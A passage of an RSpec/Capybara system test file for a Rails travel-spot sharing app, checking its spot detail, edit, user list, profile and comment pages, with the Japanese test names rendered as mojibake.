'ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content spot.rate sleep 3 end it '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณๅŠใณใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_content spot.favorites.count end # 'ใ‚นใƒใƒƒใƒˆใฎใ‚ญใƒผใƒฏใƒผใƒ‰ใŒ่กจ็คบใ•ใ‚Œใ‚‹'ใฏใ€ๆ–ฐ่ฆ็™ป้Œฒใฎใƒ†ใ‚นใƒˆใง็ขบ่ช it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_selector("img[src$='spot_image2.jpeg']") expect(page).to have_selector("img[src$='spot_image3.jpeg']") end it 'ใ‚นใƒใƒƒใƒˆใฎๅ†…ๅฎนใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.content end it 'ใ‚นใƒใƒƒใƒˆใฎ็ทจ้›†ใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '็ทจ้›†ใ™ใ‚‹', href: edit_spot_path(spot) end it 'ใ‚นใƒใƒƒใƒˆใฎๅ‰Š้™คใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link 'ๅ‰Š้™คใ™ใ‚‹', href: spot_path(spot) end end context 'ใ‚ตใ‚คใƒ‰ใƒใƒผใฎ็ขบ่ช' do it 'ใ€ŒๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ' end it '่‡ชๅˆ†ใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='profile_image.jpeg']") end it '่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.nickname end it '่‡ชๅˆ†ใฎๆ€งๅˆฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.sex end it '่‡ชๅˆ†ใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.age end it '่‡ชๅˆ†ใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.prefecture expect(page).to have_content user.city end it '่‡ชๅˆ†ใฎ่‡ชๅทฑ็ดนไป‹ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.introduction end it 'ใ€Œใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹ใ€(ใƒžใ‚คใƒšใƒผใ‚ธ็”ป้ขใธใฎใƒชใƒณใ‚ฏ)ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹', href: user_path(user) end end context 'ใ‚ณใƒกใƒณใƒˆใ‚จใƒชใ‚ขใฎใƒ†ใ‚นใƒˆ' do it 'ใ€Œใ‚ณใƒกใƒณใƒˆใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใ‚ณใƒกใƒณใƒˆ' end it 'ใ‚ณใƒกใƒณใƒˆใฎๅ…จไปถๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content "ๅ…จ#{spot.comments.count}ไปถ" end it 'ใ‚ณใƒกใƒณใƒˆๅ…ฅๅŠ›ใ‚จใƒชใ‚ขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใ‚ณใƒกใƒณใƒˆใ‚’ใฉใ†ใž' expect(page).to have_field 'comment[comment]' expect(page).to have_button '้€ไฟกใ™ใ‚‹' end end context '็ทจ้›†ใƒชใƒณใ‚ฏใฎใƒ†ใ‚นใƒˆ' do it '็ทจ้›†็”ป้ขใซ้ท็งปใ™ใ‚‹' do click_link '็ทจ้›†ใ™ใ‚‹' expect(current_path).to eq '/spots/' + spot.id.to_s + '/edit' end end context 'ๅ‰Š้™คใƒชใƒณใ‚ฏใฎใƒ†ใ‚นใƒˆ' do before do click_link 'ๅ‰Š้™คใ™ใ‚‹' end it 'ๆญฃใ—ใๅ‰Š้™คใ•ใ‚Œใ‚‹', js: true do expect{ expect(page.accept_confirm).to eq "ๆœฌๅฝ“ใซๅ‰Š้™คใ—ใพใ™ใ‹๏ผŸ" sleep 1 }. to change(user.spots, :count).by(-1) end it 'ใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ใƒžใ‚คใƒšใƒผใ‚ธ็”ป้ขใซใชใฃใฆใ„ใ‚‹', js: true do expect(page.accept_confirm).to eq "ๆœฌๅฝ“ใซๅ‰Š้™คใ—ใพใ™ใ‹๏ผŸ" sleep 1 expect(current_path).to eq '/users/' + user.id.to_s end end end describe '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆ็ทจ้›†็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit edit_spot_path(spot) end context '่กจ็คบใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/' + spot.id.to_s + '/edit' end it 'ใ€Œใ‚นใƒใƒƒใƒˆ็ทจ้›†ใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใ‚นใƒใƒƒใƒˆ็ทจ้›†' end it 'ใ‚ฟใ‚คใƒˆใƒซ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[title]', with: spot.title end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[keyword]' end it '้ƒฝ้“ๅบœ็œŒ้ธๆŠžใƒ•ใ‚ฉใƒผใƒ ใงใ‚นใƒใƒƒใƒˆใฎ้ƒฝ้“ๅบœ็œŒใŒ้ธๆŠžใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: 'ๆฑไบฌ้ƒฝ') end it 'ๅธ‚ๅŒบ็”บๆ‘็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซใ‚นใƒใƒƒใƒˆใฎๅธ‚ๅŒบ็”บๆ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[city]', with: spot.city end it '็”Ÿๅนดๆœˆๆ—ฅ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[visited_day(1i)]', with: 2020 expect(page).to have_field 'spot[visited_day(2i)]', with: 1 expect(page).to have_field 'spot[visited_day(3i)]', with: 1 end it '่ฉ•ไพกใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(find('input[@name="spot[rate]"]', visible: false).text).to be_blank end it '็”ปๅƒ้ธๆŠžใƒ•ใ‚ฉใƒผใƒ ใŒ3ใค่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[spot_image1]' expect(page).to have_field 'spot[spot_image2]' expect(page).to have_field 'spot[spot_image3]' end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_selector("img[src$='spot_image2.jpeg']") expect(page).to have_selector("img[src$='spot_image3.jpeg']") end it 'ๅ†…ๅฎนใƒปๆ„Ÿๆƒณ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซใ‚นใƒใƒƒใƒˆใฎๅ†…ๅฎนใƒปๆ„ŸๆƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'spot[content]', with: spot.content end it 'ๆ›ดๆ–ฐใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end end context '็ทจ้›†ๆˆๅŠŸใฎใƒ†ใ‚นใƒˆ' do before do @spot_old_title = spot.title @spot_old_prefecture = spot.prefecture @spot_old_city = spot.city @spot_old_visited_day = spot.visited_day @spot_old_rate = spot.rate @spot_old_image1 = spot.spot_image1 @spot_old_image2 = spot.spot_image2 @spot_old_image3 = spot.spot_image3 fill_in 'spot[title]', with: Faker::Lorem.characters(number: 9) select '็ฅžๅฅˆๅท็œŒ', from: 'spot_prefecture' fill_in 'spot[city]', with: Faker::Lorem.characters(number: 9) select '2021', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('4') attach_file "spot[spot_image1]", "app/assets/images/image4.jpg" attach_file "spot[spot_image2]", "app/assets/images/image5.jpg" attach_file "spot[spot_image3]", "app/assets/images/image6.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 49) click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end it 'ใ‚ฟใ‚คใƒˆใƒซใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.title).not_to eq @spot_old_title end it '้ƒฝ้“ๅบœ็œŒใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.prefecture).not_to eq @spot_old_prefecture end it 'ๅธ‚ๅŒบ็”บๆ‘ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.city).not_to eq @spot_old_city end it 'ๆฅ่จชๆ—ฅใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.visited_day).not_to eq @spot_old_visited_day end it '่ฉ•ไพกใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.rate).not_to eq @spot_old_rate end it 'ๅ†™็œŸ(1ๆžš็›ฎ)ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.spot_image1).not_to eq @spot_old_image1 end it 'ๅ†™็œŸ(2ๆžš็›ฎ)ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.spot_image2).not_to eq @spot_old_image2 end it 'ๅ†™็œŸ(3ๆžš็›ฎ)ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(spot.reload.spot_image3).not_to eq @spot_old_image3 end it 'ใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ๆ›ดๆ–ฐใ—ใŸใ‚นใƒใƒƒใƒˆใฎ่ฉณ็ดฐ็”ป้ขใซใชใฃใฆใ„ใ‚‹' do expect(current_path).to eq '/spots/' + spot.id.to_s expect(page).to have_content "#{spot.reload.title}" end end end describe 'ใƒฆใƒผใ‚ถไธ€่ฆง็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit users_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users' end it '่‡ชๅˆ†ใจไป–ไบบใฎ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(all('img').size).to eq(2) end it '่‡ชๅˆ†ใจไป–ไบบใฎๅๅ‰ใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.nickname expect(page).to have_content other_user.nickname end it '่‡ชๅˆ†ใจไป–ไบบใฎใƒฆใƒผใ‚ถใƒผ่ฉณ็ดฐใƒšใƒผใ‚ธใธใฎใƒชใƒณใ‚ฏใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link "#{user.nickname}", href: user_path(user) expect(page).to have_link "#{other_user.nickname}", href: user_path(other_user) end it '่‡ชๅˆ†ใจไป–ไบบใฎๅนด้ฝขใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.nickname expect(page).to have_content other_user.nickname end it '่‡ชๅˆ†ใจไป–ไบบใฎๆ€งๅˆฅใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.sex expect(page).to have_content other_user.sex end it '่‡ชๅˆ†ใจไป–ไบบใฎไฝๆ‰€ใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.prefecture expect(page).to have_content user.city expect(page).to have_content other_user.prefecture expect(page).to have_content other_user.city end it '่‡ชๅˆ†ใจไป–ไบบใฎ่‡ชๅทฑ็ดนไป‹ใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.introduction expect(page).to have_content other_user.introduction end end context 'ๆคœ็ดขใ‚จใƒชใ‚ขใฎ็ขบ่ช' do it '้ƒฝ้“ๅบœ็œŒใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[prefecture_eq]' end it 'ๅธ‚ๅŒบ็”บๆ‘ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[city_cont]' end it 'ๆ€งๅˆฅใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[sex_eq]' end it 'ๅนด้ฝขใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹๏ผšใ€œๆญณไปฅไธŠใ€œๆญณไปฅไธ‹' do expect(page).to have_field 'q[birthday_to_age_gteq]' expect(page).to have_field 'q[birthday_to_age_lt]' end it 'ใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[nickname_cont]' end it 'ๆคœ็ดขใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆคœ็ดข' end end end describe '่‡ชๅˆ†ใฎใƒฆใƒผใ‚ถ่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit user_path(user) end context '่กจ็คบใฎ็ขบ่ช' do it 'ใ€Œใƒžใ‚คใƒšใƒผใ‚ธใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ใƒžใ‚คใƒšใƒผใ‚ธ' end it '่‡ชๅˆ†ใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='profile_image.jpeg']") end it '่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.nickname end it '่‡ชๅˆ†ใฎๆ€งๅˆฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.sex end it '่‡ชๅˆ†ใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.age end it '่‡ชๅˆ†ใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.prefecture expect(page).to have_content user.city end it '่‡ชๅˆ†ใฎ่‡ชๅทฑ็ดนไป‹ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.introduction end it '่‡ชๅˆ†ใฎใƒ•ใ‚ฉใƒญใƒผๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.following.count end it '่‡ชๅˆ†ใฎใƒ•ใ‚ฉใƒญใƒฏใƒผๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.followers.count end it '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.spots.count end it '่‡ชๅˆ†ใฎ็ทใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do @user = User.first @all_user_spots = @user.spots @all_user_favorites_count = 0 @all_user_spots.each do |spot| @all_user_favorites_count += spot.favorites.count end expect(page).to have_content @all_user_favorites_count end it 'ใ€Œใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็ทจ้›†ใ€ใฎใƒชใƒณใ‚ฏใŒๅญ˜ๅœจใ™ใ‚‹' do expect(page).to have_link 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็ทจ้›†', href: edit_user_path(user) end end context 'ใ‚ตใ‚คใƒ‰ใƒใƒผใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users/' + user.id.to_s end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซ่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซ่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏใŒๆญฃใ—ใ„' do expect(page).to have_link spot.title, href: spot_path(spot) end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซ่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content spot.city end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซ่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซ่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content spot.rate sleep 3 end it '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŠใ‚ˆใณใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_content spot.favorites.count end it 'ไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link other_spot.title, href: spot_path(other_spot) end end end describe '่‡ชๅˆ†ใฎใƒฆใƒผใ‚ถๆƒ…ๅ ฑ็ทจ้›†็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit edit_user_path(user) end context '่กจ็คบใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users/' + user.id.to_s + '/edit' end it 'ๆฐๅ(ใƒ•ใƒซใƒใƒผใƒ )็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎใƒ•ใƒซใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[fullname]', with: user.fullname end it 'ใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[nickname]', with: user.nickname end it 'ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚น็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[email]', with: user.email end it 'ๆ€งๅˆฅ้ธๆŠžใƒ•ใ‚ฉใƒผใƒ ใง่‡ชๅˆ†ใฎๆ€งๅˆฅใŒ้ธๆŠžใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_checked_field 'edit_user_sex_male' end it '็”Ÿๅนดๆœˆๆ—ฅ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎ็”Ÿๅนดๆœˆๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[birthday(1i)]', with: 1990 expect(page).to have_field 'user[birthday(2i)]', with: 1 expect(page).to have_field 'user[birthday(3i)]', with: 1 end it '้ƒฝ้“ๅบœ็œŒ้ธๆŠžใƒ•ใ‚ฉใƒผใƒ ใง่‡ชๅˆ†ใฎ้ƒฝ้“ๅบœ็œŒใŒ้ธๆŠžใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: 'ๆฑไบฌ้ƒฝ') end it 'ๅธ‚ๅŒบ็”บๆ‘็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎๅธ‚ๅŒบ็”บๆ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[city]', with: user.city end it '็”ปๅƒ็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[profile_image]' end it '่‡ชๅทฑ็ดนไป‹็ทจ้›†ใƒ•ใ‚ฉใƒผใƒ ใซ่‡ชๅˆ†ใฎ่‡ชๅทฑ็ดนไป‹ๆ–‡ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[introduction]', with: user.introduction end it 'ใ€Œๆ›ดๆ–ฐใ™ใ‚‹ใ€ใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end end context 'ๆ›ดๆ–ฐๆˆๅŠŸใฎใƒ†ใ‚นใƒˆ' do before do @user_old_fullname = user.fullname @user_old_nickname = user.nickname @user_old_email = user.email @user_old_sex = user.sex @user_old_birthday = user.birthday @user_old_prefecture = user.prefecture @user_old_city = user.city @user_old_profile_image = user.profile_image @user_old_introduction = user.introduction fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 9) fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 9) fill_in 'user[email]', with: Faker::Internet.email choose('edit_user_sex_female') select '2001', from: 'user_birthday_1i' select '1', from: 'user_birthday_2i' select '1', from: 'user_birthday_3i' select '็ฅžๅฅˆๅท็œŒ', from: 'user_prefecture' fill_in 'user[city]', with: Faker::Lorem.characters(number: 6) attach_file "user[profile_image]", "app/assets/images/image8.jpg" fill_in 'user[introduction]', with: Faker::Lorem.characters(number: 19) click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end it 'ๆฐๅ(ใƒ•ใƒซใƒใƒผใƒ )ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.fullname).not_to eq @user_old_fullname end it 'ใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.nickname).not_to eq @user_old_nickname end it 'ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.email).not_to eq @user_old_email end it 'ๆ€งๅˆฅใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.sex).not_to eq @user_old_sex end it '็”Ÿๅนดๆœˆๆ—ฅใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.birthday).not_to eq @user_old_birthday end it 'ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.email).not_to eq @user_old_email end it '้ƒฝ้“ๅบœ็œŒใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.prefecture).not_to eq @user_old_prefecture end it 'ๅธ‚ๅŒบ็”บๆ‘ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.city).not_to eq @user_old_city end it 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.profile_image).not_to eq @user_old_profile_image end it '่‡ชๅทฑ็ดนไป‹ใŒๆญฃใ—ใๆ›ดๆ–ฐใ•ใ‚Œใ‚‹' do expect(user.reload.introduction).not_to eq @user_old_introduction end it 'ใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€่‡ชๅˆ†ใฎใƒฆใƒผใ‚ถ่ฉณ็ดฐ็”ป้ขใซใชใฃใฆใ„ใ‚‹' do expect(current_path).to eq '/users/' + user.id.to_s end end end describe 'ใ‚ณใƒกใƒณใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do let!(:other_user2) { create(:user) } let!(:other_spot2) { create(:spot, user: other_user2) } let!(:comment) { create(:comment, user: user, spot: other_spot2) } let!(:other_comment) { create(:comment, user: other_user, spot: other_spot2) } before do visit spot_path(other_spot2) end context '่กจ็คบใฎ็ขบ่ช' do it '่‡ชๅˆ†ใจไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใฎใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒๆญฃใ—ใ„' do expect(page).to have_link user.nickname, href: user_path(user) expect(page).to have_link other_user.nickname, href: user_path(other_user) end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚ณใƒกใƒณใƒˆใฎๅ†…ๅฎนใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content comment.comment expect(page).to have_content other_comment.comment end it '่‡ชๅˆ†ใจไป–ไบบใฎใ‚ณใƒกใƒณใƒˆใฎ้€ไฟกๆ—ฅๆ™‚ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content comment.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ %-H:%M") expect(page).to have_content other_comment.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ %-H:%M") end it '่‡ชๅˆ†ใฎใ‚ณใƒกใƒณใƒˆใฎๅ‰Š้™คใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link 'delete-' + comment.id.to_s + '-btn' end it 'ไป–ไบบใฎใ‚ณใƒกใƒณใƒˆใฎๅ‰Š้™คใƒชใƒณใ‚ฏใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link 'delete-' + other_comment.id.to_s + '-btn' end end context 'ๆ–ฐ่ฆใ‚ณใƒกใƒณใƒˆ้€ไฟกใฎใƒ†ใ‚นใƒˆ' do before do fill_in 'comment[comment]', with: Faker::Lorem.characters(number: 50) end it 'ๆญฃใ—ใ้€ไฟกใ•ใ‚Œใ‚‹', js: true do expect { click_button '้€ไฟกใ™ใ‚‹' sleep 1}.to change { user.comments.count }.by(1) end it '้ท็งปๅ…ˆใŒใ€ใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐใซใชใฃใฆใ„ใ‚‹', js: true do expect(current_path).to eq '/spots/' + other_spot2.id.to_s end end context 'ๅ‰Š้™คใฎใƒ†ใ‚นใƒˆ' do it 'ๆญฃใ—ใๅ‰Š้™คใ•ใ‚Œใ‚‹', js: true do expect { click_link 'delete-' + comment.id.to_s + '-btn' sleep 1}.to change { user.comments.count }.by(-1) end it 